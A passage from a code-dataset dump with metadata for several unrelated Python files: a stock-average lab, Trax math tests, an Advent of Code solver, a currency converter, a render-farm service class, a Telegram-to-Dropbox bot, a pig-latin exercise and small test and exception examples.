monthly_averages[(year, month)] = []\n monthly_averages[(year, month)].append(float(data_list[i][5]) * float(data_list[i][6]))\n # set denominator for this year and month\n monthly_averages[(year, month)].append(float(data_list[i][5]))\n\n # Append tuple of results in a list\n # Tuples are like (average, year, month).\n # Final average needs to be calculated since it only contains the numerator and denominator\n monthly_averages_list = []\n for (year, month), value in monthly_averages.items():\n average = value[0] / value[1]\n monthly_averages_list.append((average, year, month))\n\n # Sorting first by descending average. In case of ties sort by year and then month\n monthly_averages_list.sort(reverse=True)\n\n return monthly_averages_list\n\n\ndef print_info(monthly_averages_list : list) -> None:\n \"\"\" Prints sorted list of 6 best and 6 worst average (2 decimals) by months in the format:\n Six best months\n Average Year Month\n ---- ---- -----\n Six worst months\n Average Year Month\n ---- ---- -----\n \"\"\"\n print('{:^33s}'.format('Six best months'))\n print('{:11s}{:11s}{:11s}'.format('Average', 'Year', 'Month'))\n # Print six best months assuming list is ordered in descending order\n for i in range(6):\n average, year, month = monthly_averages_list[i]\n print('{:<11.2f}{:<11d}{:<2d}'.format(average, year, month))\n\n print()\n print('{:^33s}'.format('Six worst months'))\n print('{:11s}{:11s}{:11s}'.format('Average', 'Year', 'Month'))\n # Print six worst months assuming list is ordered in descending order\n for i in range(1, 7):\n average, year, month = monthly_averages_list[-i]\n print('{:<11.2f}{:<11d}{:<2d}'.format(average, year, month))\n\n\ndef main():\n data_list = get_data_list(\"GOOG.csv\")\n monthly_averages_list = get_monthly_averages(data_list)\n print_info(monthly_averages_list)\n\n\nmain()\n","sub_path":"lab7.py","file_name":"lab7.py","file_ext":"py","file_size_in_byte":4089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"7500974","text":"# coding=utf-8\n# Copyright 2020 The Trax Authors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n\"\"\"Tests for tf numpy mathematical methods.\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nimport tensorflow.compat.v2 as tf\n\nfrom trax.tf_numpy.numpy import array_creation\nfrom trax.tf_numpy.numpy import arrays\nfrom trax.tf_numpy.numpy import math\n\n\nclass MathTest(tf.test.TestCase):\n\n def setUp(self):\n super(MathTest, self).setUp()\n self.array_transforms = [\n lambda x: x, # Identity,\n tf.convert_to_tensor,\n np.array,\n lambda x: np.array(x, dtype=np.float32),\n lambda x: np.array(x, dtype=np.float64),\n array_creation.array,\n lambda x: array_creation.array(x, dtype=np.float32),\n lambda x: array_creation.array(x, dtype=np.float64),\n ]\n self.types = [np.int32, np.int64, np.float32, np.float64]\n\n def _testBinaryOp(self, math_fun, np_fun, name, operands=None,\n extra_operands=None,\n check_promotion=True,\n check_promotion_result_type=True):\n\n def run_test(a, b):\n for fn in self.array_transforms:\n arg1 = fn(a)\n arg2 = fn(b)\n self.match(\n math_fun(arg1, arg2),\n np_fun(arg1, arg2),\n msg='{}({}, {})'.format(name, arg1, arg2))\n # Tests type promotion\n for type_a in self.types:\n for type_b in self.types:\n if not check_promotion and type_a != type_b:\n continue\n arg1 = array_creation.array(a, dtype=type_a)\n arg2 = array_creation.array(b, dtype=type_b)\n self.match(\n math_fun(arg1, arg2),\n np_fun(arg1, arg2),\n msg='{}({}, {})'.format(name, arg1, arg2),\n check_type=check_promotion_result_type)\n\n if operands is None:\n operands = [(5, 2),\n (5, [2, 3]),\n (5, [[2, 3], [6, 7]]),\n ([1, 2, 3], 7),\n ([1, 2, 3], [5, 6, 7])]\n for operand1, operand2 in operands:\n run_test(operand1, operand2)\n if extra_operands is not None:\n for operand1, operand2 in extra_operands:\n run_test(operand1, operand2)\n\n def testDot(self):\n extra_operands = [\n ([1, 2], [[5, 6, 7], [8, 9, 10]]),\n (np.arange(2 * 3 * 5).reshape([2, 3, 5]).tolist(),\n np.arange(5 * 7 * 11).reshape([7, 5, 11]).tolist())]\n return self._testBinaryOp(math.dot, np.dot, 'dot',\n extra_operands=extra_operands)\n\n def testMinimum(self):\n # The numpy version has strange result type when promotion happens,\n # so set check_promotion_result_type to False.\n return self._testBinaryOp(math.minimum, np.minimum, 'minimum',\n check_promotion_result_type=False)\n\n def testMaximum(self):\n # The numpy version has strange result type when promotion happens,\n # so set check_promotion_result_type to False.\n return self._testBinaryOp(math.maximum, np.maximum, 'maximum',\n check_promotion_result_type=False)\n\n def testMatmul(self):\n operands = [([[1, 2]], [[3, 4, 5], [6, 7, 8]])]\n return self._testBinaryOp(math.matmul, np.matmul, 'matmul',\n operands=operands)\n\n def _testUnaryOp(self, math_fun, np_fun, name):\n\n def run_test(a):\n for fn in self.array_transforms:\n arg1 = fn(a)\n self.match(math_fun(arg1), np_fun(arg1),\n msg='{}({})'.format(name, arg1))\n\n run_test(5)\n run_test([2, 3])\n run_test([[2, -3], [-6, 7]])\n\n def testLog(self):\n self._testUnaryOp(math.log, np.log, 'log')\n\n def testExp(self):\n self._testUnaryOp(math.exp, np.exp, 'exp')\n\n def testTanh(self):\n self._testUnaryOp(math.tanh, np.tanh, 'tanh')\n\n def testSqrt(self):\n self._testUnaryOp(math.sqrt, np.sqrt, 'sqrt')\n\n def _testReduce(self, math_fun, np_fun, name):\n axis_transforms = [\n lambda x: x, # Identity,\n tf.convert_to_tensor,\n np.array,\n array_creation.array,\n lambda x: array_creation.array(x, dtype=np.float32),\n lambda x: array_creation.array(x, dtype=np.float64),\n ]\n\n def run_test(a, **kwargs):\n axis = kwargs.pop('axis', None)\n for fn1 in self.array_transforms:\n for fn2 in axis_transforms:\n arg1 = fn1(a)\n axis_arg = fn2(axis) if axis is not None else None\n self.match(\n math_fun(arg1, axis=axis_arg, **kwargs),\n np_fun(arg1, axis=axis, **kwargs),\n msg='{}({}, axis={}, keepdims={})'.format(\n name, arg1, axis, kwargs.get('keepdims')))\n\n run_test(5)\n run_test([2, 3])\n run_test([[2, -3], [-6, 7]])\n run_test([[2, -3], [-6, 7]], axis=0)\n run_test([[2, -3], [-6, 7]], axis=0, keepdims=True)\n run_test([[2, -3], [-6, 7]], axis=1)\n run_test([[2, -3], [-6, 7]], axis=1, keepdims=True)\n run_test([[2, -3], [-6, 7]], axis=(0, 1))\n run_test([[2, -3], [-6, 7]], axis=(1, 0))\n\n def match(self, actual, expected, msg='', check_type=True):\n self.assertIsInstance(actual, arrays.ndarray)\n if check_type:\n self.assertEqual(\n actual.dtype, expected.dtype,\n 'Dtype mismatch.\\nActual: {}\\nExpected: {}\\n{}'.format(\n actual.dtype, expected.dtype, msg))\n self.assertEqual(\n actual.shape, expected.shape,\n 'Shape mismatch.\\nActual: {}\\nExpected: {}\\n{}'.format(\n actual.shape, expected.shape, msg))\n np.testing.assert_almost_equal(actual.tolist(), expected.tolist())\n\n def testSum(self):\n self._testReduce(math.sum, np.sum, 'sum')\n\n def testMax(self):\n self._testReduce(math.max, np.max, 'max')\n\n\nif __name__ == '__main__':\n tf.compat.v1.enable_eager_execution()\n tf.test.main()\n","sub_path":"trax/tf_numpy/numpy/tests/math_test.py","file_name":"math_test.py","file_ext":"py","file_size_in_byte":6371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"335170032","text":"import math\n\ninputdata = []\ninputfile = \"input/input-day3.txt\"\ngrid = []\n# for real\ngridsizex = 17000\ngridsizey = 13000\nstartx = 7200 # int(gridsize / 2)\nstarty = 9000 # int(gridsize / 2)\ntesting = False\n\n\n\ndef SetTestData1():\n\ttesting = True\n\tinputdata.clear()\n\tinputdata.append(\"R75,D30,R83,U83,L12,D49,R71,U7,L72\")\n\tinputdata.append(\"U62,R66,U55,R34,D71,R55,D58,R83\")\n\t# answer = 159\n\ndef SetTestData2():\n\ttesting = True\n\tinputdata.clear()\n\tinputdata.append(\"R98,U47,R26,D63,R33,U87,L62,D20,R33,U53,R51\")\n\tinputdata.append(\"U98,R91,D20,R16,D67,R40,U7,R15,U6,R7\")\n\t# answer = 135\n\ndef ManhattanDistance(x1, y1, x2, y2):\n\treturn abs(x1 - x2) + abs(y1 - y2)\n\ndef LayWire(wire,val):\n posx = startx\n posy = starty\n for part in wire.split(\",\"):\n posx,posy = LayWireDirection(part[0],int(part[1::]),posx,posy,val)\n\ndef MoveDirection(direction,posx,posy):\n if direction == \"R\":\n posx += 1\n elif direction == \"L\":\n posx -= 1\n elif direction == \"U\":\n posy += 1\n elif direction == \"D\":\n posy -= 1\n\n return posx,posy\n\ndef LayWireDirection(direction,distance,posx,posy,val):\n for i in range(0,distance): \n posx,posy = MoveDirection(direction,posx,posy)\n if (posy < 0) or (posx < 0):\n\t print(\"Grid too small: %d,%d\" % (posx, posy)) \n grid[posx][posy] |= val \n \n return posx,posy\n\ndef ReadInput():\n file = open(inputfile,\"r\")\n for line in file:\n inputdata.append(line)\n\ndef InitGrid():\n grid.clear()\n for x in range (0,gridsizex):\n grid.append([0 for y in range(0,gridsizey)])\n\ndef Day3():\n \n LayWire(inputdata[0],1)\n LayWire(inputdata[1],2)\n closest = 0\n\n for x in range(0,gridsizex):\n for y in range(0,gridsizey):\n if grid[x][y] == 3:\n distance = ManhattanDistance(startx, starty, x, y)\n if closest == 0 or distance < closest:\n closest = distance\n \n print(closest)\nif __name__ == \"__main__\":\n ReadInput()\n #SetTestData2()\n InitGrid()\n print(gridsizex)\n Day3()\n","sub_path":"code/day3.py","file_name":"day3.py","file_ext":"py","file_size_in_byte":2103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"82464063","text":"import json\r\nimport requests\r\n\r\n\r\nclass Error(Exception):\r\n \"\"\"Class to bundle all custom exceptions.\"\"\"\r\n pass\r\n\r\n\r\nclass CurrencyValueError(Error):\r\n \"\"\"Class to warn the user about incorrect currency input.\"\"\"\r\n def __str__(self):\r\n return \"Please enter a three character string as currency.\"\r\n\r\n\r\nclass CurrencyConverter:\r\n\r\n \"\"\"\r\n A class to convert a certain amount of one currency to either an\r\n amount of another entered currency or if no second currency was entered,\r\n all currencies are displayed.\r\n\r\n Attributes\r\n ----------\r\n amount : integer\r\n The amount which will be converted\r\n currency_in : string\r\n The currency from which the amount will be converted.\r\n currency_out : string\r\n The currency to which the amount will be converted.\r\n\r\n Currencies\r\n ----------\r\n USD, EUR, GBP, JPY, AUD, CAD, CHF, XAF, TJS, MGA, LRD, SSP, LSL, SCR\r\n DKK, AED, VND, EGP, SVC, TTD, GHS, MRU, TZS, KWD, PEN, JOD, IQD, CVE\r\n LAK, DOP, MNT, NZD, RON, BDT, PYG, MAD, XPF, AOA, YER, SAR, TRY, IDR\r\n KZT, BOB, BZD, KMF, ALL, KHR, ZAR, PHP, TMT, AFN, JMD, GIP, SZL, NPR\r\n THB, TWD, UAH, ETB, SRD, SYP, ERN, SOS, KRW, BHD, NGN, RSD, MKD, SBD\r\n ANG, MOP, WST, MUR, HUF, BYN, ARS, TND, BIF, ZMW, GTQ, BAM, DZD, PLN\r\n HRK, HKD, AMD, VES, BSD, GNF, GEL, OMR, BND, SGD, MXN, MDL, NIO, GYD\r\n RWF, SLL, MVR, COP, XOF, UZS, PAB, NAD, SDG, MZN, KES, INR, BBD, PGK\r\n IRR, GMD, XCD, HTG, TOP, UGX, CNY, MYR, BGN, PKR, LBP, LYD, AWG, MWK\r\n CUP, VUV, NOK, ISK, BRL, AZN, UYU, STN, DJF, MMK, QAR, BWP, RUB, ILS\r\n KGS, CRC, FJD, CDF, HNL, LKR, CLP, SEK\r\n\r\n Methods\r\n -------\r\n __init__ : amount, currency_in, currency_out = None\r\n amount = Integer input from which the output will be calculated\r\n currency_in = Three character string input. Required to establish from\r\n which currency to convert\r\n [currency_out] = Optional input, three character string. If entered the\r\n output is converted to this parameter. The default is None.\r\n\r\n convert : Returns the converted currency with the currency code\r\n\r\n Raises\r\n ------\r\n CurrencyValueError\r\n If the input to either currency is not a string.\r\n \"\"\"\r\n\r\n def __init__(self, amount, currency_in, currency_out = None):\r\n self.amount = amount\r\n self.currency_in = currency_in\r\n self.currency_out = currency_out\r\n\r\n def convert(self):\r\n\r\n \"\"\"\r\n This method takes the class input and converts it to the target currency or if the target\r\n currency is omitted the amount will be converted in all currencies.\r\n\r\n Variables\r\n ---------\r\n web : string\r\n This variable takes a string and updates part of it with the user input to request the correct\r\n currency.\r\n rweb : HTTP Response instance\r\n This variable takes the http instance from the website.\r\n jdweb : Encoded JSON\r\n This variable stores the rweb instance encoded in JSON.\r\n jlweb : Decoded JSON\r\n This variable loads the JSON content in jdweb and decodes it.\r\n\r\n Returns\r\n -------\r\n Digit, String\r\n The function returns the converted amount and the corresponding country code.\r\n \"\"\"\r\n\r\n # Initiation blocks to load the currency exchange rates\r\n\r\n try:\r\n web = \"http://www.floatrates.com/daily/{0}.json\".format(self.currency_in)\r\n rweb = requests.get(web)\r\n except requests.exceptions.ConnectionError:\r\n return \"Connection to website failed. \" \\\r\n \"Please verify your internet connection.\"\r\n\r\n try:\r\n jdweb = json.dumps(rweb.json(), indent=2)\r\n jlweb = json.loads(jdweb)\r\n except json.decoder.JSONDecodeError:\r\n print(\"Your currency input is probably incorrect.\")\r\n exit()\r\n\r\n # Currency conversion block. If no target currency was entered, the amount will be\r\n # multiplied with the exchange 'rate' for every available currency. Otherwise, if\r\n # a target currency is entered, the exchange rate will be calculated for the selected\r\n # currency. The output is rounded to two point after the comma with the 'alphacode'\r\n # printed besides it.\r\n\r\n try:\r\n if self.currency_out is None:\r\n for v in jlweb.values():\r\n output = self.amount * v[\"rate\"]\r\n print('{:<10} {:<10}'.format(round(output, 2), v[\"alphaCode\"]))\r\n else:\r\n output = self.amount * jlweb[self.currency_out][\"rate\"]\r\n print('{:<10} {:<10}'.format(round(output,2), jlweb[self.currency_out][\"alphaCode\"]))\r\n except KeyError:\r\n print(\"Your currency output is not available.\")\r\n except TypeError:\r\n print(\"Please enter an integer/float as amount.\")\r\n except UnboundLocalError:\r\n print(\"Please enter a three character currency as input.\")\r\n\r\n\r\nif __name__ == '__main__':\r\n c = CurrencyConverter(amount=100, currency_in=\"usd\" , currency_out=None).convert()\r\n","sub_path":"currency_retriever.py","file_name":"currency_retriever.py","file_ext":"py","file_size_in_byte":5199,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"599221173","text":"# -*- coding: utf-8 -*-\n\nimport cgruconfig, cgrupathmap, cgruutils\nimport os, sys, re, traceback\n\nstr_capacity = '@AF_CAPACITY@'\nstr_hosts = '@AF_HOSTS@'\nstr_hostsprefix = '-H '\nstr_hostseparator = ','\n\nclass service:\n\t\"This is base service class.\"\n\tdef __init__( self, taskInfo):\n\t\tself.taskInfo = taskInfo\n\t\t\n\t\tself.pm = cgrupathmap.PathMap()\n\n\t\tself.str_capacity = str_capacity\n\t\tself.str_hosts = str_hosts\n\t\tself.str_hostsprefix = str_hostsprefix\n\t\tself.str_hostseparator = str_hostseparator\n\n\t\t# Transfer command and working folder:\t\t\n\t\tcommand = taskInfo['command']\n\t\tcommand = self.pm.toClient( command)\n\t\t# Apply capacity:\n\t\tif self.taskInfo['capacity'] > 0: command = self.applyCmdCapacity( command)\n\t\t# Apply hosts (multihosts tasks):\n\t\tif len( self.taskInfo['hosts']): command = self.applyCmdHosts( command)\n\t\ttaskInfo['command'] = command\n\t\ttaskInfo['wdir'] = self.pm.toClient( taskInfo['wdir'])\n\t\tfor i in range( 0, len( self.taskInfo['files'])):\n\t\t\tself.taskInfo['files'][i] = self.pm.toClient( self.taskInfo['files'][i])\n\n\t\t# When GUI receives task exec to show files,\n\t\t# server sends exec with parsed files.\n\t\tfor i in range( 0, len( self.taskInfo['parsed_files'])):\n\t\t\tself.taskInfo['parsed_files'][i] = self.pm.toClient( self.taskInfo['parsed_files'][i])\n\n\n\t\t# Initialize parser:\n\t\tself.parser = None\n\t\tparser = cgruutils.toStr( taskInfo['parser'])\n\t\tif len( taskInfo['parser']):\n\t\t\ttry:\n\t\t\t\tmod = __import__('parsers', globals(), locals(), [parser])\n\t\t\t\tcmd = 'mod.%s.%s()' % ( parser, parser)\n\t\t\t\tself.parser = eval( cmd)\n\t\t\t\tself.parser.setTaskInfo( taskInfo)\n\t\t\texcept:\n\t\t\t\tself.parser = None\n\t\t\t\tprint('ERROR: Failed to import parser \"%s\"' % parser)\n\t\t\t\ttraceback.print_exc( file = sys.stdout)\n\n\n\tdef getWDir( self ): return self.taskInfo['wdir']\n\tdef getCommand( self ): return self.taskInfo['command']\n\tdef getFiles( self ): return self.taskInfo['files']\n\n\tdef getParsedFiles( self ):\n\t\t# taskInfo does not have parsed files on render,\n\t\t# afserver set parsed files parameter on TaskExec for GUIs only,\n\t\t# it needed for GUIs only to transfer files paths to view\n\t\tif len( self.taskInfo['parsed_files']):\n\t\t\treturn self.taskInfo['parsed_files']\n\t\telif self.parser is not None:\n\t\t\tfiles = self.parser.getFiles()\n\t\t\tfor i in range( 0, len( files)):\n\t\t\t\tfiles[i] = self.pm.toServer( files[i])\n\t\t\treturn files\n\t\telse:\n\t\t\treturn []\n\n\n\tdef applyCmdCapacity( self, command):\n\t\tcommand = command.replace( self.str_capacity, str( self.taskInfo['capacity']))\n\t\tprint('Capacity coefficient %s applied:' % str( self.taskInfo['capacity']))\n\t\tprint(command)\n\t\treturn command\n\n\n\tdef applyCmdHosts( self, command):\n\t\thosts = str_hostsprefix\n\t\tfirsthost = True\n\t\tfor host in self.taskInfo['hosts']:\n\t\t\tif firsthost:\n\t\t\t\tfirsthost = False\n\t\t\telse:\n\t\t\t\thosts += self.str_hostseparator\n\t\t\thosts += host\n\t\tcommand = command.replace( self.str_hosts, hosts)\n\t\tprint('Hosts list \"%s\" applied:' % str( hosts))\n\t\tprint(command)\n\t\treturn command\n\n\n\tdef parse( self, data, mode):\n\t\tif self.parser is None: return None\n\t\treturn self.parser.parse( data, mode)\n\n\n\tdef doPost( self):\n#\t\tdef check_flag(byte, flag_name):\n#\t\t\treturn True\n#\t\t\tflags = {\n#\t\t\t\t\t'numeric': 0x01,\n#\t\t\t\t\t'thumbnails': 0x64\n#\t\t\t\t\t}\n#\t\t\tif flags[flag_name]:\n#\t\t\t\tmask = flags.get(flag_name)\n#\t\t\t\treturn byte & mask\n#\t\t\telse:\n#\t\t\t\treturn 0\n\n\t\tpost_cmds = []\n\t\t#print( self.parser.getFiles())\n#\t\tif len( self.taskInfo['files']) and check_flag( self.taskInfo.get('block_flags', 0), 'thumbnails'):\n\t\tpost_cmds.extend( self.generateThumbnail())\n#\t\tpost_cmds.extend(['ls -la > ' + self.taskInfo['store_dir'] + '/afile'])\n\t\treturn post_cmds\n\n\n\tdef generateThumbnail( self):\n\t\tcmds = []\n\n\t\tif not os.path.isdir( self.taskInfo['store_dir']):\n\t\t\treturn cmds\n\n\t\tfiles_list = []\n\t\tif self.parser is not None:\n\t\t\tfiles_list = self.parser.getFiles()\n\n\t\tif len( files_list ):\n\t\t\tif len( files_list) > 3:\n\t\t\t\tfiles_list = [ files_list[0], files_list[ int(len(files_list)/2) ], files_list[-1]]\n\t\telif len(self.taskInfo['files']):\n\t\t\tfor afile in self.taskInfo['files']:\n\t\t\t\tfiles_list.append( afile)\n\t\t\t\t#files_list.append( afile.decode('utf-8'))\n\t\telse:\n\t\t\treturn cmds\n\n\t\tfor image in files_list:\n\t\t\timage = cgruutils.toStr( image)\n\t\t\tif len( image) < 1: continue\n\t\t\timage = os.path.join( self.taskInfo['wdir'], image)\n\t\t\tif not os.path.isfile( image): continue\n\n\t\t\tbasename, ext = os.path.splitext( os.path.basename( image))\n\t\t\tif len( ext ) < 2: continue\n\t\t\text = ext.lower()[1:]\n\t\t\tif not ext in cgruconfig.VARS['af_thumbnail_extensions']: continue\n\n\t\t\tstore_dir = cgruutils.toStr( self.taskInfo['store_dir'])\n\t\t\tthumbnail = os.path.basename( image) + '.jpg'\n\t\t\tthumbnail = store_dir + '/' + thumbnail\n\n\t\t\tself.taskInfo['image'] = os.path.normpath( image)\n\t\t\tself.taskInfo['thumbnail'] = os.path.normpath( thumbnail)\n\t\t\tself.taskInfo['pre_args'] = ''\n\t\t\tif ext == 'dpx' or ext == 'cin': self.taskInfo['pre_args'] = '-set colorspace Log'\n\t\t\tif ext == 'exr': self.taskInfo['pre_args'] = '-set colorspace RGB'\n\n\t\t\tcmd = str(cgruconfig.VARS['af_thumbnail_cmd']) % (self.taskInfo)\n\t\t\t#print( cmd)\n\t\t\t#cmds.append('echo ' + cmd)\n\t\t\tcmds.append( cmd)\n\n\t\treturn cmds\n\n\t# Not used:\n\tdef checkfiles( self, sizemin, sizemax):\n\t\tprint('Checking for \"'+self.taskInfo['files']+'\" '+str(sizemin)+'-'+str(sizemax))\n\t\tif self.taskInfo['files'] == '':\n\t\t\tprint('Error: service::checkfiles: Files not set!')\n\t\t\treturn False\n\t\treturn True\n\n","sub_path":"afanasy/python/services/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":5391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"444714016","text":"import os\nimport logging\nimport requests\nimport json\nfrom collections import deque\nfrom telegram import ReplyKeyboardMarkup, KeyboardButton, ReplyKeyboardRemove\nfrom telegram.ext import Updater, CommandHandler, MessageHandler, Filters, ConversationHandler\nfrom transport.data_provider import DropBoxDataProvider\nfrom database.db_connection import connect_db\nfrom bots.mockbase import Database\nfrom stella_api.service_data import store_bot_data\n\ndbx_token = os.environ['DROPBOX_TOKEN']\ntelegram_token = os.environ['TELEGRAM_TOKEN']\nport = int(os.environ['PORT'])\nurl_path = os.environ['URL_PATH']\n\nlogging.basicConfig(level=logging.DEBUG, format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\")\nlogger = logging.getLogger(__name__)\ndbx_provider = DropBoxDataProvider(dbx_token)\n\ndb_object = Database()\nACTION, CHOICE, CHOOSE_STATION, SENT_LOCATION = range(4)\n\ndef start(bot, update):\n reply_keyboard = [['/setdata', '/getdata']]\n\n update.message.reply_text(\n \"Hello! My name is Stella, and I will provide you with the actual information on prices of Ukrainian\" \\\n \"gas stations.\\n\"\n \"Simply type or choose button, what do yo want\\n\"\n \"/setdata - send us actual photo with gas prices.\\n\"\n \"/getdata - get information about gas prices\\n\"\n \"If something goes wrong, simply type '/start'. If you need help, type 'help'.\",\n reply_markup=ReplyKeyboardMarkup(reply_keyboard, one_time_keyboard=True))\n\ndef help(bot, update):\n update.message.reply_text(\"Still in development./start\")\n\n\n#TODO: upgrade pagination\ndef setdata(bot, update):\n reply_keyboard = [db_object.get_companies()[:3],\n db_object.get_companies()[3:]\n ]\n update.message.reply_text(\"Please chose Fuel company from the list, \\n\"\n \"or type /add_company if you can't see it\",\n reply_markup=ReplyKeyboardMarkup(reply_keyboard,\n one_time_keyboard=True))\n return CHOICE\n\n\ndef add_company(bot, update):\n update.message.reply_text(\"Please enter company name:\")\n return ACTION\n\n\ndef cancel(bot, update):\n return ConversationHandler.END\n\n\ndef add_to_db(bot, update):\n bot.send_message(chat_id=update.message.chat_id, text=db_object.add_company(update.message.text))\n return sent_location(bot, update)\n\ndef sent_location(bot, update):\n location_button = KeyboardButton('Sent location', request_location=True)\n update.message.reply_text('Please, share you location so we can find nearest gas stations',\n reply_markup=ReplyKeyboardMarkup([[location_button]],\n one_time_keyboard=True, resize_keyboard=True))\n return SENT_LOCATION\n\ndef got_location(bot, update):\n #print(update.message.location)\n update.message.reply_text('Thanks!\\n' + str(update.message.location))\n return choose_station(bot, update, update.message.location)\n\ndef choose_station(bot, update, location):\n reply_keyboard = [[db_object.get_stations()[0]],\n [db_object.get_stations()[1]]\n ]\n update.message.reply_text(\"Please chose Gas Station from the list\",\n reply_markup=ReplyKeyboardMarkup(reply_keyboard,\n one_time_keyboard=True))\n return CHOOSE_STATION\n\ndef send_photo(bot, update):\n update.message.reply_text(\"Please sent us the photo of Stella\")\n return cancel(bot, update)\n\n\ndef error(bot, update, error):\n logger.warning(\"Update {} caused error {}\".format(update, error))\n\n\ndef send_file_dbx(bot, update):\n update.message.reply_text(\"Thank you! Would you like to /start again?\")\n file_id = update.message.document.file_id\n\n new_file = requests.get(\"https://api.telegram.org/bot{}/getFile?file_id={}\".format(telegram_token, file_id))\n loaded_data = json.loads(new_file.text)\n file_path = loaded_data[\"result\"][\"file_path\"]\n\n down_path = \"https://api.telegram.org/file/bot{}/{}\".format(telegram_token, file_path)\n dirname, basename = os.path.split(file_path)\n dbx_path = \"/telegram_files/\" + basename\n dbx_provider.file_upload(down_path, dbx_path)\n global image_link\n image_link = dbx_path\n request_user_location(bot, update)\n bot.send_message(chat_id=update.message.chat_id, text=down_path)\n\n user_location = get_user_location(bot, update)\n tg_id = update.message.from_user.id\n reply_store = store_bot_data(tg_id, dbx_path, user_location.latitude, user_location.longitude)\n bot.send_message(chat_id=chat_id, text=reply_store)\n\ndef request_user_location(bot, update):\n chat_id = update.message.chat_id\n location_keyboard = KeyboardButton(text=\"My Location\", request_location=True)\n custom_keyboard = [[location_keyboard]]\n reply_markup = ReplyKeyboardMarkup(custom_keyboard, resize_keyboard=True)\n bot.send_message(chat_id=chat_id, text=\"Please, share your location:\", reply_markup=reply_markup)\n\n\ndef get_user_location(bot, update):\n new_location = update.message.location\n chat_id = update.message.chat_id\n bot.send_message(chat_id=chat_id, text=\"Thanks!\", reply_markup=ReplyKeyboardRemove())\n tg_id = update.message.from_user.id\n reply_store = store_bot_data(tg_id, image_link, new_location.latitude, new_location.longitude)\n bot.send_message(chat_id=update.message.chat_id, text=reply_store)\n return new_location\n\n\nmessage_handlers = {Filters.document: send_file_dbx, Filters.location: get_user_location, }\ncommand_handlers = {\"start\": start, \"help\": help, }\n\n\ndef main():\n updater = Updater(telegram_token)\n disp = updater.dispatcher\n disp.add_error_handler(error)\n\n conv_handler = ConversationHandler(\n entry_points=[CommandHandler('add_company', add_company),\n CommandHandler(\"setdata\", setdata)],\n\n states={\n ACTION: [MessageHandler(Filters.text, add_to_db)],\n CHOICE: [CommandHandler('add_company', add_company), MessageHandler(Filters.text, sent_location)],\n SENT_LOCATION: [MessageHandler(Filters.location, got_location)],\n CHOOSE_STATION: [MessageHandler(Filters.text, send_photo)]\n },\n\n fallbacks=[CommandHandler('cancel', cancel)]\n )\n disp.add_handler(conv_handler)\n disp.add_handler(CommandHandler(\"start\", start))\n disp.add_handler(CommandHandler(\"help\", help))\n disp.add_handler(CommandHandler(\"getdata\", help))\n disp.add_handler(CommandHandler(\"chose_station\", help))\n disp.add_handler(MessageHandler(Filters.document, send_file_dbx))\n disp.add_handler(MessageHandler(Filters.photo, send_file_dbx))\n\n #deque(map(lambda kv: (disp.add_handler(CommandHandler(kv[0], kv[1]))), command_handlers.items()))\n #deque(map(lambda kv: (disp.add_handler(MessageHandler(kv[0], kv[1]))), message_handlers.items()))\n\n updater.start_webhook(listen=\"0.0.0.0\",\n port=port,\n url_path=telegram_token)\n updater.bot.setWebhook(f'{url_path}/{telegram_token}')\n updater.idle()\n\nif __name__ == '__main__':\n main()","sub_path":"bots/telegram_bot_.py","file_name":"telegram_bot_.py","file_ext":"py","file_size_in_byte":7179,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"448556130","text":"#Will Lu and Kyra Abbu\n\n\"\"\"Input: A string that is either lowercase or uppercase\nReturn: if first letter of the word is a vowel --> full word with \"ay\" added\nif first letter of the word is a consonant --> first letter moved to end and add \"ay\"\nexample: kyra --> yrakay\n amber --> amberay\n\"\"\"\n\nvowels = 'aeiou' #stores all vowels\ndef pig_latin(word): \n if word[0].lower() in vowels: #first letter searches vowels\n word = word.lower() #turns whole word lowercase\n pig = word + 'ay' \n else:\n word = word.lower() \n pig = word[1:] + word[0] + 'ay' #moves first letter to last\n return pig #returns values for either conditions\n \nprint(pig_latin('amber'))\nprint(pig_latin('kyra'))\nprint(pig_latin('will'))\nprint(pig_latin('Kyra'))\nprint(pig_latin('Will'))\nprint(pig_latin('Amber'))\n \n","sub_path":"hw_02/pig.py","file_name":"pig.py","file_ext":"py","file_size_in_byte":831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"315099938","text":"from cloudroast.images.fixtures import ImagesFixture\n\n\nclass TestDeleteNamespace(ImagesFixture):\n @classmethod\n def setUpClass(cls):\n super(TestDeleteNamespace, cls).setUpClass()\n response = cls.images_client.create_namespace(namespace='test_namespace')\n assert response.status_code == 201\n\n def test_delete_namespace(self):\n response = self.images_client.delete_namespace('test_namespace')\n self.assertEqual(response.status_code, 204)\n\n","sub_path":"cloudroast/cloudroast/images/v2/functional/test_delete_namespace.py","file_name":"test_delete_namespace.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"307609340","text":"#Handling zero division error\r\ndef divide(x, y): \r\n try: \r\n result = x // y \r\n print(\"The result is :\", result) \r\n except ZeroDivisionError: \r\n print(\"ERROR! \\nYou are dividing by zero. \") \r\n\r\ndivide(3,0)\r\n\r\n\r\n#Raising error \r\ndef raiserror(x):\r\n\tif x > 3:\r\n\t\traise Exception('\\nx should not exceed 3.\\n The value of x was: {}'.format(x))\r\n\r\n\r\n#Handling raised error\r\ndef handlerror(x):\r\n try:\r\n raiserror(x)\r\n except:\r\n 